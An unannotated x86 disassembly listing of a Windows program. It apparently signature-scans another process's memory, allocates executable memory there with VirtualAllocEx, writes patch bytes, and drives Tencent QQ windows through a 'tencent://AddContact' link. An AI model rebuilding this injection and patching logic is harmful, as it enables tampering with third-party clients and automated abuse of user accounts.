fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
mov ebx, dword [ebp - 0x50]
fild dword [ebx]
fstp qword [ebp - 0x60]
fadd qword [ebp - 0x60]
fstp qword [ebp - 0x68]
push 1
lea eax, [ebp - 0x3c]
push eax
fld qword [ebp - 0x68]
call fcn.0040119d
push eax
push dword [ebp - 0x48]
mov eax, str.75_______e9______________________ff_____________________ff_____________________ff____________e8
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00405a03
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4023d1
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
call fcn.00401184
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x402465
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x48], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [0x42a131]
add ebx, 0xc
mov dword [ebp - 0x50], ebx
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
mov ebx, dword [ebp - 0x50]
fild dword [ebx]
fstp qword [ebp - 0x60]
fadd qword [ebp - 0x60]
fstp qword [ebp - 0x68]
push 1
lea eax, [ebp - 0x3c]
push eax
fld qword [ebp - 0x68]
call fcn.0040119d
push eax
push dword [ebp - 0x48]
mov eax, str.75_______e9_2d____8b___d3
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00405a03
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x402465
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
call fcn.00401184
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x403996
mov ebx, dword [ebp - 0x3c]
call fcn.00401164
mov eax, 0
cmp eax, ecx
jl 0x402498
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x5c]
fsub qword [ebp - 0x5c]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
call fcn.0040119d
mov dword [0x42a141], eax
push 0
mov ebx, 0x350
call fcn.00407f50
add esp, 4
mov ebx, dword [0x42a135]
add ebx, 0xc
mov dword [ebp - 0x48], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push 1
mov ebx, 0x1bc
call fcn.00407f20
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [0x42a13d]
test ebx, ebx
je 0x40252d
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a13d], eax
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [0x42a135]
add ebx, 0xc
mov dword [ebp - 0x4c], ebx
push 1
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [0x42a13d]
test ebx, ebx
je 0x402579
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a13d], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x48], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [0x42a135]
add ebx, 0xc
mov dword [ebp - 0x50], ebx
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
mov ebx, dword [ebp - 0x50]
fild dword [ebx]
fstp qword [ebp - 0x60]
fadd qword [ebp - 0x60]
fstp qword [ebp - 0x68]
push 1
lea eax, [ebp - 0x3c]
push eax
fld qword [ebp - 0x68]
call fcn.0040119d
push eax
push dword [ebp - 0x48]
mov eax, str.____________ff_15__________74______75_____74_____eb__________74
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00405a03
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4025fe
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
call fcn.00401164
mov eax, 0
cmp eax, ecx
jl 0x40261c
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x5c]
fsub qword [ebp - 0x5c]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
call fcn.0040119d
mov dword [0x42a145], eax
push 0
mov ebx, 0x350
call fcn.00407f50
add esp, 4
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x48], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [0x42a135]
add ebx, 0xc
mov dword [ebp - 0x50], ebx
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
mov ebx, dword [ebp - 0x50]
fild dword [ebx]
fstp qword [ebp - 0x60]
fadd qword [ebp - 0x60]
fstp qword [ebp - 0x68]
push 1
lea eax, [ebp - 0x3c]
push eax
fld qword [ebp - 0x68]
call fcn.0040119d
push eax
push dword [ebp - 0x48]
mov eax, str.0f__________________ff_________74__ff____________e8______________________ff
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00405a03
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4026ec
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
call fcn.00401164
mov eax, 0
cmp eax, ecx
jl 0x40270a
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x5c]
fsub qword [ebp - 0x5c]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
call fcn.0040119d
mov dword [0x42a149], eax
push 0
mov ebx, 0x350
call fcn.00407f50
add esp, 4
mov ebx, dword [0x42a139]
add ebx, 0xc
mov dword [ebp - 0x48], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push 1
mov ebx, 0x1bc
call fcn.00407f20
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [0x42a13d]
test ebx, ebx
je 0x40279f
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a13d], eax
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [0x42a139]
add ebx, 0xc
mov dword [ebp - 0x4c], ebx
push 1
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [0x42a13d]
test ebx, ebx
je 0x4027eb
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a13d], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x48], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [0x42a139]
add ebx, 0xc
mov dword [ebp - 0x50], ebx
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
mov ebx, dword [ebp - 0x50]
fild dword [ebx]
fstp qword [ebp - 0x60]
fadd qword [ebp - 0x60]
fstp qword [ebp - 0x68]
push 1
lea eax, [ebp - 0x3c]
push eax
fld qword [ebp - 0x68]
call fcn.0040119d
push eax
push dword [ebp - 0x48]
mov eax, str.0f________74________74_____eb_______ff___________________________e8________________74________74_____eb____________e8___________________74_____ff________74_____74_____eb______74_____ff_____eb____e8_______________e8______________________74_____ff________74__e8___________e8____________e8_________74___e8_________________________________________________e8
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00405a03
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x402870
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
call fcn.00401184
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x402904
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x48], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [0x42a139]
add ebx, 0xc
mov dword [ebp - 0x50], ebx
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
mov ebx, dword [ebp - 0x50]
fild dword [ebx]
fstp qword [ebp - 0x60]
fadd qword [ebp - 0x60]
fstp qword [ebp - 0x68]
push 1
lea eax, [ebp - 0x3c]
push eax
fld qword [ebp - 0x68]
call fcn.0040119d
push eax
push dword [ebp - 0x48]
mov eax, str.0f_84_91_00_00_00___74__83______________________________________________________________________________________________________________________________________________C0
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00405a03
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x402904
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
call fcn.00401164
mov eax, 0
cmp eax, ecx
jl 0x402922
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x5c]
fsub qword [ebp - 0x5c]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
call fcn.0040119d
mov dword [0x42a14d], eax
push 0
mov ebx, 0x350
call fcn.00407f50
add esp, 4
mov dword [ebp - 0x48], esp
push 0x40
push 0x1000
push 0x400
push 0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x48], esp
je 0x4029a9
push 6
call fcn.00407001
add esp, 4
mov dword [0x42a151], eax
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a145]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
push 1
push 9
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
push eax
mov ebx, dword [0x42a155]
test ebx, ebx
je 0x402a0c
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a155], eax
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
push 1
push 6
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
push eax
mov ebx, dword [0x42a159]
test ebx, ebx
je 0x402a70
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a159], eax
mov ebx, dword [0x42a131]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a141]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
push 1
push 2
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
push eax
mov ebx, dword [0x42a15d]
test ebx, ebx
je 0x402ad4
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a15d], eax
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a14d]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
push 1
push 6
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
push eax
mov ebx, dword [0x42a161]
test ebx, ebx
je 0x402b38
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a161], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
push 0x42a155
push dword [0x42a151]
push dword [0x42a12d]
call fcn.0040627b
fild dword [0x42a151]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fadd qword [0x429e6a]
fstp qword [ebp - 0x54]
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
mov eax, 0x429e72
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push eax
fld qword [ebp - 0x54]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x402bb1
push ebx
call fcn.00406ff5
add esp, 4
fild dword [0x42a151]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fadd qword [0x429e87]
fstp qword [ebp - 0x54]
mov ebx, dword [0x42a135]
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x58]
fild dword [ebx]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fild dword [0x42a145]
fstp qword [ebp - 0x68]
fadd qword [ebp - 0x68]
fadd qword [0x429e6a]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fild dword [0x42a151]
fstp qword [ebp - 0x78]
fsub qword [ebp - 0x78]
fsub qword [0x429e8f]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.0040119d
push eax
fld qword [ebp - 0x54]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040639b
fild dword [0x42a151]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fadd qword [0x429e8f]
fstp qword [ebp - 0x54]
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
mov eax, 0x429e97
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push eax
fld qword [ebp - 0x54]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x402c8d
push ebx
call fcn.00406ff5
add esp, 4
fild dword [0x42a151]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fadd qword [0x429ea7]
fstp qword [ebp - 0x54]
mov ebx, dword [0x42a135]
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x58]
fild dword [ebx]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fild dword [0x42a145]
fstp qword [ebp - 0x68]
fadd qword [ebp - 0x68]
fadd qword [0x429e6a]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fild dword [0x42a151]
fstp qword [ebp - 0x78]
fsub qword [ebp - 0x78]
fsub qword [0x429eaf]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.0040119d
push eax
fld qword [ebp - 0x54]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040639b
mov ebx, dword [0x42a131]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a141]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429eb7
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x402d86
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a145]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429ec1
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x402df4
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a145]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429eca]
fstp qword [ebp - 0x60]
mov ebx, dword [0x42a135]
mov dword [ebp - 0x64], ebx
fild dword [0x42a151]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
mov ebx, dword [ebp - 0x64]
fild dword [ebx]
fstp qword [ebp - 0x74]
fsub qword [ebp - 0x74]
fild dword [0x42a145]
fstp qword [ebp - 0x7c]
fsub qword [ebp - 0x7c]
fsub qword [0x429ed2]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.0040119d
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040639b
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a145]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429ed2]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429eda
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x402f01
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429ec1
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x402f6f
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429eca]
fstp qword [ebp - 0x60]
mov ebx, dword [0x42a135]
mov dword [ebp - 0x64], ebx
mov ebx, dword [ebp - 0x64]
fild dword [ebx]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
fild dword [0x42a149]
fstp qword [ebp - 0x74]
fadd qword [ebp - 0x74]
fadd qword [0x429ee6]
fstp qword [ebp - 0x7c]
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
fld qword [ebp - 0x7c]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.00406462
and eax, 0xff
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fadd qword [0x429eca]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
call fcn.0040119d
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040661a
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429ee6]
fstp qword [ebp - 0x60]
mov ebx, dword [0x42a135]
mov dword [ebp - 0x64], ebx
mov ebx, dword [ebp - 0x64]
fild dword [ebx]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
fild dword [0x42a149]
fstp qword [ebp - 0x74]
fadd qword [ebp - 0x74]
fadd qword [0x429eee]
fstp qword [ebp - 0x7c]
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
fld qword [ebp - 0x7c]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.00406462
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040661a
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429eee]
fstp qword [ebp - 0x60]
push 0
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040661a
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429ed2]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429ef6
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x4031a3
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a14d]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429ec1
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x403211
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a14d]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429eca]
fstp qword [ebp - 0x60]
mov ebx, dword [0x42a139]
mov dword [ebp - 0x64], ebx
mov ebx, dword [ebp - 0x64]
fild dword [ebx]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
fild dword [0x42a14d]
fstp qword [ebp - 0x74]
fadd qword [ebp - 0x74]
fadd qword [0x429ee6]
fstp qword [ebp - 0x7c]
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
fld qword [ebp - 0x7c]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.00406462
and eax, 0xff
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fadd qword [0x429eca]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
call fcn.0040119d
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040661a
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a14d]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fadd qword [0x429ee6]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov eax, 0x429eff
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x40335e
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00401184
xor ecx, ecx
push eax
lea eax, [ebp - 0x40]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40377a
mov ebx, dword [ebp - 0xc]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x40]
dec eax
jns 0x40339a
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4033ad
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x20]
dec eax
jns 0x4033d2
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4033e5
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push str.fuin
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push str.tencent:__AddContact__subcmdalluin
mov ecx, 4
call fcn.00401108
add esp, 0x10
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.0040667e
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x40342a
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000301
push 0
push 0xbb8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
push 1
mov eax, str.TXGuiFoundation
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push 1
mov eax, 0x429f48
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004066ca
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x403481
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x403491
push ebx
call fcn.00406ff5
add esp, 4
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0x159
push 1
push 0x158
push 1
push dword [ebp - 0x44]
call fcn.00406929
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0x159
push 1
push 0x158
push 1
push dword [ebp - 0x44]
call fcn.00406929
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0x159
push 1
push 0x1a2
push 1
push dword [ebp - 0x44]
call fcn.00406929
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
push 1
mov eax, str.TXGuiFoundation
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push 1
mov eax, 0x429f48
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004066ca
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4035e7
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4035f7
push ebx
call fcn.00406ff5
add esp, 4
